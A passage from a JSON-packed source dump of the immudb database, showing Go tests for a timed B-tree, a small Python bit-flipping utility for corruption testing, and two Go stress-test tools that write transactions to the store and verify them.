tbtree.root.findLeafNode([]byte(\"key1\"), nil, 0, nil, false)\n\trequire.NoError(t, err)\n\trequire.NotNil(t, leaf)\n\trequire.GreaterOrEqual(t, len(leaf.values), off)\n\n\t_, _, _, err = leaf.values[off].lastUpdateBetween(nil, 1, 0)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\tfor i := 0; i < keyUpdatesCount; i++ {\n\t\tfor f := i; f < keyUpdatesCount; f++ {\n\t\t\t_, tx, hc, err := leaf.values[off].lastUpdateBetween(nil, uint64(i+1), uint64(f+1))\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Equal(t, uint64(f+1), hc)\n\t\t\trequire.Equal(t, uint64(f+1), tx)\n\t\t}\n\t}\n\n\terr = tbtree.Close()\n\trequire.NoError(t, err)\n}\n\nfunc TestMultiTimedBulkInsertion(t *testing.T) {\n\ttbtree, err := Open(t.TempDir(), DefaultOptions())\n\trequire.NoError(t, err)\n\n\tt.Run(\"multi-timed bulk insertion should succeed\", func(t *testing.T) {\n\t\tcurrTs := tbtree.Ts()\n\n\t\tkvts := []*KVT{\n\t\t\t{K: []byte(\"key1_0\"), V: []byte(\"value1_0\")},\n\t\t\t{K: []byte(\"key2_0\"), V: []byte(\"value2_0\")},\n\t\t\t{K: []byte(\"key3_0\"), V: []byte(\"value3_0\"), T: currTs + 1},\n\t\t\t{K: []byte(\"key4_0\"), V: []byte(\"value4_0\"), T: currTs + 1},\n\t\t\t{K: []byte(\"key5_0\"), V: []byte(\"value5_0\"), T: currTs + 2},\n\t\t\t{K: []byte(\"key6_0\"), V: []byte(\"value6_0\")},\n\t\t}\n\n\t\terr = tbtree.BulkInsert(kvts)\n\t\trequire.NoError(t, err)\n\n\t\tfor _, kvt := range kvts {\n\t\t\tv, ts, hc, err := tbtree.Get(kvt.K)\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Equal(t, kvt.V, v)\n\t\t\trequire.Equal(t, uint64(1), hc)\n\n\t\t\tif kvt.T == 0 {\n\t\t\t\t//zero-valued timestamps should be associated with current time plus one\n\t\t\t\trequire.Equal(t, currTs+1, ts)\n\t\t\t} else {\n\t\t\t\trequire.Equal(t, kvt.T, ts)\n\t\t\t}\n\t\t}\n\n\t\t// root's ts should match the greatest inserted timestamp\n\t\trequire.Equal(t, currTs+2, tbtree.Ts())\n\t})\n\n\tt.Run(\"bulk-insertion of the same key should be possible with increasing timestamp\", func(t *testing.T) {\n\t\tcurrTs := tbtree.Ts()\n\n\t\tkvts := []*KVT{\n\t\t\t{K: []byte(\"key1_1\"), V: []byte(\"value1_1\")},\n\t\t\t{K: []byte(\"key1_1\"), V: []byte(\"value2_1\"), T: currTs + 2},\n\t\t}\n\n\t\terr = tbtree.BulkInsert(kvts)\n\t\trequire.NoError(t, err)\n\n\t\tv, ts, hc, err := tbtree.Get([]byte(\"key1_1\"))\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, []byte(\"value2_1\"), v)\n\t\trequire.Equal(t, uint64(2), hc)\n\t\trequire.Equal(t, currTs+2, ts)\n\n\t\t// root's ts should match the greatest inserted timestamp\n\t\trequire.Equal(t, currTs+2, tbtree.Ts())\n\t})\n\n\tt.Run(\"bulk-insertion of the same key should not be possible with non-increasing timestamp\", func(t *testing.T) {\n\t\t_, _, err = tbtree.Flush()\n\t\trequire.NoError(t, err)\n\n\t\tinitialTs := tbtree.Ts()\n\n\t\terr = tbtree.Insert([]byte(\"key1_2\"), []byte(\"key1_2\"))\n\t\trequire.NoError(t, err)\n\n\t\tcurrTs := tbtree.Ts()\n\n\t\tkvts := []*KVT{\n\t\t\t{K: []byte(\"key2_2\"), V: []byte(\"value2_2\"), T: currTs + 2},\n\t\t\t{K: []byte(\"key2_2\"), V: []byte(\"value3_2\")},\n\t\t}\n\n\t\terr = tbtree.BulkInsert(kvts)\n\t\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t\t// rollback to latest snapshot should be made if insertion fails\n\t\t_, _, _, err := tbtree.Get([]byte(\"key1_2\"))\n\t\trequire.ErrorIs(t, err, ErrKeyNotFound)\n\n\t\trequire.Equal(t, initialTs, tbtree.Ts())\n\t})\n\n\tt.Run(\"bulk-insertion of the same key timestamp equal to current timestamp of root should not be possible\", func(t *testing.T) {\n\t\t_, _, err = tbtree.Flush()\n\t\trequire.NoError(t, err)\n\n\t\terr = tbtree.Insert([]byte(\"key3_1\"), []byte(\"value3_1\"))\n\t\trequire.NoError(t, err)\n\n\t\tcurrTs := tbtree.Ts()\n\n\t\tkvts := []*KVT{\n\t\t\t{K: []byte(\"key3_2\"), V: []byte(\"value3_2\"), T: currTs},\n\t\t}\n\n\t\terr = tbtree.BulkInsert(kvts)\n\t\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\t})\n\n\terr = tbtree.Close()\n\trequire.NoError(t, err)\n}\n\nfunc TestGetWithPrefix(t *testing.T) {\n\ttbtree, err := Open(t.TempDir(), DefaultOptions())\n\trequire.NoError(t, err)\n\n\tdefer tbtree.Close()\n\n\tkey1 := []byte{1, 82, 46, 0, 0, 0, 1}\n\tkey2 := []byte{2, 82, 46, 0, 0, 0, 1}\n\n\terr = tbtree.Insert(key1, []byte(\"value\"))\n\trequire.NoError(t, err)\n\n\terr = tbtree.Insert(key2, []byte(\"value\"))\n\trequire.NoError(t, err)\n\n\tt.Run(\"get with prefix over tbtree\", func(t *testing.T) {\n\t\t_, _, _, _, err = tbtree.GetWithPrefix(key1, key1)\n\t\trequire.ErrorIs(t, err, ErrKeyNotFound)\n\n\t\tk, _, _, _, err := tbtree.GetWithPrefix(key1, nil)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, key1, k)\n\n\t\t_, _, _, _, err = tbtree.GetWithPrefix(key2, key2)\n\t\trequire.ErrorIs(t, err, ErrKeyNotFound)\n\n\t\tk, _, _, _, err = tbtree.GetWithPrefix(key2, nil)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, key2, k)\n\t})\n\n\tt.Run(\"get with prefix over a snapshot\", func(t *testing.T) {\n\t\tsnap, err := tbtree.Snapshot()\n\t\trequire.NoError(t, err)\n\n\t\t_, _, _, _, err = snap.GetWithPrefix(key1, key1)\n\t\trequire.ErrorIs(t, err, ErrKeyNotFound)\n\n\t\tk, _, _, _, err := snap.GetWithPrefix(key1, nil)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, key1, k)\n\n\t\t_, _, _, _, err = snap.GetWithPrefix(key2, key2)\n\t\trequire.ErrorIs(t, err, ErrKeyNotFound)\n\n\t\tk, _, _, _, err = snap.GetWithPrefix(key2, nil)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, key2, k)\n\t})\n}\n"
  },
  {
    "path": "embedded/tools/bitflip.py",
    "content": "#!/usr/bin/env python3\n\"\"\"Toggle the bit at the specified offset.\nSyntax: <cmdname> filename bit-offset\"\"\"\n\nimport sys\nfname = sys.argv[1]\n# Convert bit offset to bytes + leftover bits\nbitpos = int(sys.argv[2])\nnbytes, nbits = divmod(bitpos, 8)\n\n# Open in read+write, binary mode; read 1 byte\nfp = open(fname, \"r+b\")\nfp.seek(nbytes, 0)\nc = fp.read(1)\n\n# Toggle bit at byte position `nbits`\ntoggled = bytes( [ ord(c)^(1<<nbits) ] )\n# print(toggled) # diagnostic output\n\n# Back up one byte, write out the modified byte\nfp.seek(-1, 1)  # or absolute: fp.seek(nbytes, 0)\nfp.write(toggled)\nfp.close()\n"
  },
  {
    "path": "embedded/tools/stress_tool/stress_tool.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage main\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"encoding/base64\"\n\t\"encoding/binary\"\n\t\"errors\"\n\t\"flag\"\n\t\"fmt\"\n\t\"math/rand\"\n\t\"sync\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/embedded/appendable\"\n\t\"github.com/codenotary/immudb/embedded/htree\"\n\t\"github.com/codenotary/immudb/embedded/store\"\n)\n\nfunc main() {\n\tdataDir := flag.String(\"dataDir\", \"data\", \"data directory\")\n\n\tparallelIO := flag.Int(\"parallelIO\", 1, \"number of parallel IO\")\n\tfileSize := flag.Int(\"fileSize\", 1<<26, \"file size up to which a new ones are created\")\n\tcFormat := flag.String(\"compressionFormat\", \"no-compression\", \"one of: no-compression, flate, gzip, lzw, zlib\")\n\tcLevel := flag.String(\"compressionLevel\", \"best-speed\", \"one of: best-speed, best-compression, default-compression, huffman-only\")\n\n\tsynced := flag.Bool(\"synced\", false, \"strict sync mode - no data lost\")\n\topenedLogFiles := flag.Int(\"openedLogFiles\", 10, \"number of maximum number of opened files per each log type\")\n\n\tmode := flag.String(\"mode\", \"\", \"interactive|auto\")\n\n\taction := flag.String(\"action\", \"get\", \"get|set\")\n\twaitForIndexing := flag.Int(\"waitForIndexing\", 1000, \"amount of millis waiting for indexing entries\")\n\tkey := flag.String(\"key\", \"\", \"key to look for\")\n\tvalue := flag.String(\"value\", \"\", \"value to be associated to key\")\n\n\tcommitters := flag.Int(\"committers\", 10, \"number of concurrent committers\")\n\ttxCount := flag.Int(\"txCount\", 1_000, \"number of tx to commit\")\n\tkvCount := flag.Int(\"kvCount\", 1_000, \"number of kv entries per tx\")\n\tkLen := flag.Int(\"kLen\", 32, \"key length (bytes)\")\n\tvLen := flag.Int(\"vLen\", 32, \"value length (bytes)\")\n\trndKeys := flag.Bool(\"rndKeys\", false, \"keys are randomly generated\")\n\trndValues := flag.Bool(\"rndValues\", true, \"values are randomly generated\")\n\ttxDelay := flag.Int(\"txDelay\", 10, \"delay (millis) between txs\")\n\tprintAfter := flag.Int(\"printAfter\", 100, \"print a dot '.' after specified number of committed txs\")\n\ttxRead := flag.Bool(\"txRead\", false, \"validate committed txs against input kv data\")\n\ttxLinking := flag.Bool(\"txLinking\", true, \"full scan to verify linear cryptographic linking between txs\")\n\tkvInclusion := flag.Bool(\"kvInclusion\", false, \"validate kv data of every tx as part of the linear verification. txLinking must be enabled\")\n\n\tflag.Parse()\n\n\tfmt.Println(\"Opening Immutable Transactional Key-Value Log...\")\n\n\tvar compressionFormat int\n\tvar compressionLevel int\n\n\tswitch *cFormat {\n\tcase \"no-compression\":\n\t\tcompressionFormat = appendable.NoCompression\n\tcase \"flate\":\n\t\tcompressionFormat = appendable.FlateCompression\n\tcase \"gzip\":\n\t\tcompressionFormat = appendable.GZipCompression\n\tcase \"lzw\":\n\t\tcompressionFormat = appendable.LZWCompression\n\tcase \"zlib\":\n\t\tcompressionFormat = appendable.ZLibCompression\n\tdefault:\n\t\tpanic(\"invalid compression format\")\n\t}\n\n\tswitch *cLevel {\n\tcase \"best-speed\":\n\t\tcompressionLevel = appendable.BestSpeed\n\tcase \"best-compression\":\n\t\tcompressionLevel = appendable.BestCompression\n\tcase \"default-compression\":\n\t\tcompressionLevel = appendable.DefaultCompression\n\tcase \"huffman-only\":\n\t\tcompressionLevel = appendable.HuffmanOnly\n\tdefault:\n\t\tpanic(\"invalid compression level\")\n\t}\n\n\topts := store.DefaultOptions().\n\t\tWithSynced(*synced).\n\t\tWithMaxConcurrency(*committers).\n\t\tWithMaxIOConcurrency(*parallelIO).\n\t\tWithFileSize(*fileSize).\n\t\tWithVLogMaxOpenedFiles(*openedLogFiles).\n\t\tWithTxLogMaxOpenedFiles(*openedLogFiles).\n\t\tWithCommitLogMaxOpenedFiles(*openedLogFiles).\n\t\tWithCompressionFormat(compressionFormat).\n\t\tWithCompresionLevel(compressionLevel).\n\t\tWithMaxValueLen(1 << 26) // 64Mb\n\n\timmuStore, err := store.Open(*dataDir, opts)\n\n\tst, err := store.Open(\"data\", store.DefaultOptions())\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tdefer st.Close()\n\n\ttx, err := st.NewWriteOnlyTx(context.Background())\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\terr = tx.Set([]byte(\"hello\"), nil, []byte(\"immutable-world!\"))\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\thdr, err := tx.Commit(context.Background())\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tfmt.Printf(\"key %s successfully set in tx %d\", \"hello\", hdr.ID)\n\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tdefer func() {\n\t\terr := immuStore.Close()\n\t\tif err != nil {\n\t\t\tfmt.Printf(\"\\r\\nImmutable Transactional Key-Value Log closed with error: %v\\r\\n\", err)\n\t\t\tpanic(err)\n\t\t}\n\t\tfmt.Printf(\"\\r\\nImmutable Transactional Key-Value Log successfully closed!\\r\\n\")\n\t}()\n\n\tfmt.Printf(\"Immutable Transactional Key-Value Log with %d Txs successfully opened!\\r\\n\", immuStore.TxCount())\n\n\tif *mode == \"interactive\" {\n\t\tif *action == \"get\" {\n\t\t\ttime.Sleep(time.Duration(*waitForIndexing) * time.Millisecond)\n\n\t\t\tsnap, err := immuStore.Snapshot(nil)\n\t\t\tif err != nil {\n\t\t\t\tpanic(err)\n\t\t\t}\n\t\t\tdefer snap.Close()\n\n\t\t\tvalRef, err := snap.Get(context.Background(), []byte(*key))\n\t\t\tif err != nil {\n\t\t\t\tpanic(err)\n\t\t\t}\n\n\t\t\tval, err := valRef.Resolve()\n\t\t\tif err != nil {\n\t\t\t\tpanic(err)\n\t\t\t}\n\n\t\t\tfmt.Printf(\"key: %s, value: %s, ts: %d, hc: %d\\r\\n\", *key, base64.StdEncoding.EncodeToString(val), valRef.Tx(), valRef.HC())\n\t\t\treturn\n\t\t}\n\n\t\tif *action == \"set\" {\n\t\t\ttx, err := st.NewWriteOnlyTx(context.Background())\n\t\t\tif err != nil {\n\t\t\t\tpanic(err)\n\t\t\t}\n\n\t\t\terr = tx.Set([]byte(*key), nil, []byte(*value))\n\t\t\tif err != nil {\n\t\t\t\tpanic(err)\n\t\t\t}\n\n\t\t\t_, err = tx.Commit(context.Background())\n\t\t\tif err != nil {\n\t\t\t\tpanic(err)\n\t\t\t}\n\n\t\t\treturn\n\t\t}\n\n\t\tpanic(\"invalid action\")\n\t}\n\n\ttxHolderPool, err := immuStore.NewTxHolderPool(*committers, false)\n\tif err != nil {\n\t\tpanic(fmt.Sprintf(\"Couldn't allocate tx holder pool: %v\", err))\n\t}\n\n\tif *mode == \"auto\" {\n\t\tfmt.Printf(\"Committing %d transactions...\\r\\n\", *txCount)\n\n\t\twgInit := &sync.WaitGroup{}\n\t\twgInit.Add(*committers)\n\n\t\twgWork := &sync.WaitGroup{}\n\t\twgWork.Add(*committers)\n\n\t\twgEnded := &sync.WaitGroup{}\n\t\twgEnded.Add(*committers)\n\n\t\twgStart := &sync.WaitGroup{}\n\t\twgStart.Add(1)\n\n\t\tfor c := 0; c < *committers; c++ {\n\t\t\tgo func(id int) {\n\t\t\t\tfmt.Printf(\"\\r\\nCommitter %d is generating kv data...\\r\\n\", id)\n\n\t\t\t\tentries := make([][]*store.EntrySpec, *txCount)\n\n\t\t\t\tfor t := 0; t < *txCount; t++ {\n\t\t\t\t\tentries[t] = make([]*store.EntrySpec, *kvCount)\n\n\t\t\t\t\trand.Seed(time.Now().UnixNano())\n\n\t\t\t\t\tfor i := 0; i < *kvCount; i++ {\n\t\t\t\t\t\tk := make([]byte, *kLen)\n\t\t\t\t\t\tv := make([]byte, *vLen)\n\n\t\t\t\t\t\tif *rndKeys {\n\t\t\t\t\t\t\trand.Read(k)\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tif *kLen < 2 {\n\t\t\t\t\t\t\t\tk[0] = byte(i)\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tif *kLen > 1 && *kLen < 4 {\n\t\t\t\t\t\t\t\tbinary.BigEndian.PutUint16(k, uint16(i))\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif *kLen > 3 && *kLen < 8 {\n\t\t\t\t\t\t\t\tbinary.BigEndian.PutUint32(k, uint32(i))\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif *kLen > 7 {\n\t\t\t\t\t\t\t\tbinary.BigEndian.PutUint64(k, uint64(i))\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif *rndValues {\n\t\t\t\t\t\t\trand.Read(v)\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tentries[t][i] = &store.EntrySpec{Key: k, Value: v}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\twgInit.Done()\n\n\t\t\t\twgStart.Wait()\n\n\t\t\t\tfmt.Printf(\"\\r\\nCommitter %d is running...\\r\\n\", id)\n\n\t\t\t\tids := make([]uint64, *txCount)\n\n\t\t\t\tfor t := 0; t < *txCount; t++ {\n\t\t\t\t\ttx, err := immuStore.NewWriteOnlyTx(context.Background())\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tpanic(err)\n\t\t\t\t\t}\n\n\t\t\t\t\tfor _, e := range entries[t] {\n\t\t\t\t\t\terr = tx.Set(e.Key, e.Metadata, e.Value)\n\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\tpanic(err)\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\ttxhdr, err := tx.Commit(context.Background())\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tpanic(err)\n\t\t\t\t\t}\n\n\t\t\t\t\tids[t] = txhdr.ID\n\n\t\t\t\t\tif *printAfter > 0 && t%*printAfter == 0 {\n\t\t\t\t\t\tfmt.Print(\".\")\n\t\t\t\t\t}\n\n\t\t\t\t\ttime.Sleep(time.Duration(*txDelay) * time.Millisecond)\n\t\t\t\t}\n\n\t\t\t\twgWork.Done()\n\t\t\t\tfmt.Printf(\"\\r\\nCommitter %d done with commits!\\r\\n\", id)\n\n\t\t\t\tif *txRead {\n\t\t\t\t\tfmt.Printf(\"Starting committed tx against input kv data by committer %d...\\r\\n\", id)\n\n\t\t\t\t\ttxHolder, err := txHolderPool.Alloc()\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tpanic(err)\n\t\t\t\t\t}\n\t\t\t\t\tdefer txHolderPool.Release(txHolder)\n\n\t\t\t\t\tfor i := range ids {\n\t\t\t\t\t\timmuStore.ReadTx(ids[i], true, txHolder)\n\n\t\t\t\t\t\tfor ei, e := range txHolder.Entries() {\n\t\t\t\t\t\t\tif !bytes.Equal(e.Key(), entries[i][ei].Key) {\n\t\t\t\t\t\t\t\tpanic(fmt.Errorf(\"committed tx key does not match input values\"))\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tval, err := immuStore.ReadValue(e)\n\t\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\t\tpanic(err)\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tif !bytes.Equal(val, entries[i][ei].Value) {\n\t\t\t\t\t\t\t\tpanic(fmt.Errorf(\"committed tx value does not match input values\"))\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\tfmt.Printf(\"All committed txs successfully verified against input kv data by committer %d!\\r\\n\", id)\n\t\t\t\t}\n\n\t\t\t\twgEnded.Done()\n\n\t\t\t\tfmt.Printf(\"Committer %d successfully ended!\\r\\n\", id)\n\t\t\t}(c)\n\t\t}\n\n\t\twgInit.Wait()\n\n\t\twgStart.Done()\n\n\t\tstart := time.Now()\n\t\twgWork.Wait()\n\t\telapsed := time.Since(start)\n\n\t\tfmt.Printf(\"\\r\\nAll committers %d have successfully completed their work within %s!\\r\\n\", *committers, elapsed)\n\n\t\twgEnded.Wait()\n\n\t\tif *txLinking || *kvInclusion {\n\t\t\tfmt.Println(\"Starting full scan to verify linear cryptographic linking...\")\n\t\t\tstart := time.Now()\n\n\t\t\ttxHolder, err := txHolderPool.Alloc()\n\t\t\tif err != nil {\n\t\t\t\tpanic(err)\n\t\t\t}\n\t\t\tdefer txHolderPool.Release(txHolder)\n\n\t\t\ttxReader, err := immuStore.NewTxReader(1, false, txHolder)\n\t\t\tif err != nil {\n\t\t\t\tpanic(err)\n\t\t\t}\n\n\t\t\tverifiedTxs := 0\n\n\t\t\tfor {\n\t\t\t\ttx, err := txReader.Read()\n\t\t\t\tif err != nil {\n\t\t\t\t\tif errors.Is(err, store.ErrNoMoreEntries) {\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t\tpanic(err)\n\t\t\t\t}\n\n\t\t\t\tentrySpecDigest, err := store.EntrySpecDigestFor(tx.Header().Version)\n\t\t\t\tif err != nil {\n\t\t\t\t\tpanic(err)\n\t\t\t\t}\n\n\t\t\t\tif *kvInclusion {\n\t\t\t\t\tfor _, e := range tx.Entries() {\n\t\t\t\t\t\tproof, err := tx.Proof(e.Key())\n\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\tpanic(err)\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tval, err := immuStore.ReadValue(e)\n\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\tpanic(err)\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tkv := &store.EntrySpec{Key: e.Key(), Value: val}\n\n\t\t\t\t\t\tverifies := htree.VerifyInclusion(proof, entrySpecDigest(kv), tx.Header().Eh)\n\t\t\t\t\t\tif !verifies {\n\t\t\t\t\t\t\tpanic(\"kv does not verify\")\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tverifiedTxs++\n\n\t\t\t\tif *printAfter > 0 && verifiedTxs%*printAfter == 0 {\n\t\t\t\t\tfmt.Print(\".\")\n\t\t\t\t}\n\t\t\t}\n\n\t\t\telapsed := time.Since(start)\n\t\t\tfmt.Printf(\"\\r\\nAll transactions %d successfully verified in %s!\\r\\n\", verifiedTxs, elapsed)\n\t\t}\n\n\t\tfmt.Println(\"Waiting for indexing...\")\n\t\ttime.Sleep(time.Duration(*waitForIndexing) * time.Millisecond)\n\t\tfmt.Println(\"Done\")\n\n\t\treturn\n\t}\n\n\tpanic(\"please specify a valid mode of operation: interactive|auto\")\n}\n"
  },
  {
    "path": "embedded/tools/stress_tool_sql/stress_tool_sql.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage main\n\nimport (\n\t\"context\"\n\t\"flag\"\n\t\"log\"\n\t\"math/rand\"\n\t\"sync\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/embedded/appendable\"\n\t\"github.com/codenotary/immudb/embedded/sql\"\n\t\"github.com/codenotary/immudb/embedded/store\"\n)\n\ntype Entry struct {\n\tid    int\n\tvalue []byte\n}\n\ntype cfg struct {\n\tdataDir           string\n\tparallelIO        int\n\tfileSize          int\n\tcompressionFormat int\n\tcompressionLevel  int\n\tsynced            bool\n\topenedLogFiles    int\n\tcommitters        int\n\tkvCount           int\n\tvLen              int\n\trndValues         bool\n\treaders           int\n\trdCount           int\n\treadDelay         int\n\treadPause         int\n}\n\nfunc parseConfig() (c cfg) {\n\tflag.StringVar(&c.dataDir, \"dataDir\", \"data\", \"data directory\")\n\n\tflag.IntVar(&c.parallelIO, \"parallelIO\", 1, \"number of parallel IO\")\n\tflag.IntVar(&c.fileSize, \"fileSize\", 1<<26, \"file size up to which a new ones are created\")\n\tcFormat := flag.String(\"compressionFormat\", \"no-compression\", \"one of: no-compression, flate, gzip, lzw, zlib\")\n\tcLevel := flag.String(\"compressionLevel\", \"best-speed\", \"one of: best-speed, best-compression, default-compression, huffman-only\")\n\n\tflag.BoolVar(&c.synced, \"synced\", false, \"strict sync mode - no data lost\")\n\tflag.IntVar(&c.openedLogFiles, \"openedLogFiles\", 10, \"number of maximum number of opened files per each log type\")\n\n\tflag.IntVar(&c.committers, \"committers\", 10, \"number of concurrent committers\")\n\tflag.IntVar(&c.kvCount, \"kvCount\", 1_000, \"number of kv entries per tx\")\n\tflag.IntVar(&c.vLen, \"vLen\", 32, \"value length (bytes)\")\n\tflag.BoolVar(&c.rndValues, \"rndValues\", true, \"values are randomly generated\")\n\n\tflag.IntVar(&c.readers, \"readers\", 0, \"number of concurrent readers\")\n\tflag.IntVar(&c.rdCount, \"rdCount\", 100, \"number of reads for each readers\")\n\tflag.IntVar(&c.readDelay, \"readDelay\", 100, \"Readers start delay (ms)\")\n\tflag.IntVar(&c.readPause, \"readPause\", 0, \"Readers pause at every cycle\")\n\n\tflag.Parse()\n\n\tswitch *cFormat {\n\tcase \"no-compression\":\n\t\tc.compressionFormat = appendable.NoCompression\n\tcase \"flate\":\n\t\tc.compressionFormat = appendable.FlateCompression\n\tcase \"gzip\":\n\t\tc.compressionFormat = appendable.GZipCompression\n\tcase \"lzw\":\n\t\tc.compressionFormat = appendable.LZWCompression\n\tcase \"zlib\":\n\t\tc.compressionFormat = appendable.ZLibCompression\n\tdefault:\n\t\tpanic(\"invalid compression format\")\n\t}\n\n\tswitch *cLevel {\n\tcase \"best-speed\":\n\t\tc.compressionLevel = appendable.BestSpeed\n\tcase \"best-compression\":\n\t\tc.compressionLevel = appendable.BestCompression\n\tcase \"default-compression\":\n\t\tc.compressionLevel = appendable.DefaultCompression\n\tcase \"huffman-only\":\n\t\tc.compressionLevel = appendable.HuffmanOnly\n\tdefault:\n\t\tpanic(\"invalid compression level\")\n\t}\n\n\treturn\n}\n\nfunc main() {\n\tc := parseConfig()\n\n\tlog.Println(\"Opening Immutable Transactional Key-Value Log...\")\n\n\topts := store.DefaultOptions().\n\t\tWithSynced(c.synced).\n\t\tWithMaxConcurrency(c.committers).\n\t\tWithMaxIOConcurrency(c.parallelIO).\n\t\tWithFileSize(c.fileSize).\n\t\tWithVLogMaxOpenedFiles(c.openedLogFiles).\n\t\tWithTxLogMaxOpenedFiles(c.openedLogFiles).\n\t\tWithCommitLogMaxOpenedFiles(c.openedLogFiles).\n\t\tWithCompressionFormat(c.compressionFormat).\n\t\tWithCompresionLevel(c.compressionLevel).\n\t\tWithMaxValueLen(1 << 26) // 64Mb\n\n\tdataStore, err := store.Open(c.dataDir, opts)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tdefer func() {\n\t\tfor name, store := range map[string]*store.ImmuStore{\"data\": dataStore} {\n\t\t\tstore.Close()\n\t\t\tif err != nil {\n\t\t\t\tlog.Printf(\"\\r\\nBacking store %s closed with error: %v\\r\\n\", name, err)\n\t\t\t\tpanic(err)\n\t\t\t}\n\t\t\tlog.Printf(\"\\r\\nImmutable Transactional Key-Value Log %s successfully closed!\\r\\n\", name)\n\t\t}\n\t}()\n\n\tfor name, store := range map[string]*store.ImmuStore{\"data\": dataStore} {\n\t\tlog.Printf(\"Store %s with %d Txs successfully opened!\\r\\n\", name, store.TxCount())\n\t}\n\n\tengine, err := sql.NewEngine(dataStore, sql.DefaultOptions().WithPrefix([]byte(\"sql\")))\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tlog.Printf(\"SQL engine successfully initialized!\\r\\n\")\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE DATABASE defaultdb;\", map[string]interface{}{})\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"USE DATABASE defaultdb;\", map[string]interface{}{})\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tlog.Printf(\"Creating tables\\r\\n\")\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE TABLE IF NOT EXISTS entries (id INTEGER, value BLOB, ts INTEGER, PRIMARY KEY id);\", map[string]interface{}{})\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\t// incremental id generator\n\tids := make(chan int)\n\tgo func() {\n\t\tfor i := 1; ; i++ {\n\t\t\tids <- i\n\t\t}\n\t}()\n\n\tentries := make(chan Entry)\n\n\trand.Seed(time.Now().UnixNano())\n\tfor i := 0; i < c.committers; i++ {\n\t\tgo func(id int) {\n\t\t\tlog.Printf(\"Worker %d is generating rows...\\r\\n\", id)\n\n\t\t\tfor i := 0; i < c.kvCount; i++ {\n\t\t\t\tid := <-ids\n\t\t\t\tv := make([]byte, c.vLen)\n\t\t\t\tif c.rndValues {\n\t\t\t\t\trand.Read(v)\n\t\t\t\t}\n\n\t\t\t\tentries <- Entry{id: id, value: v}\n\t\t\t}\n\t\t}(i)\n\t}\n\n\twg := sync.WaitGroup{}\n\n\tfor i := 0; i < c.committers; i++ {\n\t\twg.Add(1)\n\t\tgo func(id int) {\n\t\t\tlog.Printf(\"Committer %d is inserting data...\\r\\n\", id)\n\t\t\tfor i := 0; i < c.kvCount; i++ {\n\t\t\t\tentry := <-entries\n\t\t\t\t_, _, err = engine.Exec(context.Background(), nil,\n\t\t\t\t\t\"INSERT INTO entries (id, value, ts) VALUES (@id, @value, now());\",\n\t\t\t\t\tmap[string]interface{}{\"id\": entry.id, \"value\": entry.value})\n\t\t\t\tif err != nil {\n\t\t\t\t\tpanic(err)\n\t\t\t\t}\n\t\t\t}\n\t\t\twg.Done()\n\t\t\tlog.Printf(\"Committer %d done...\\r\\n\", 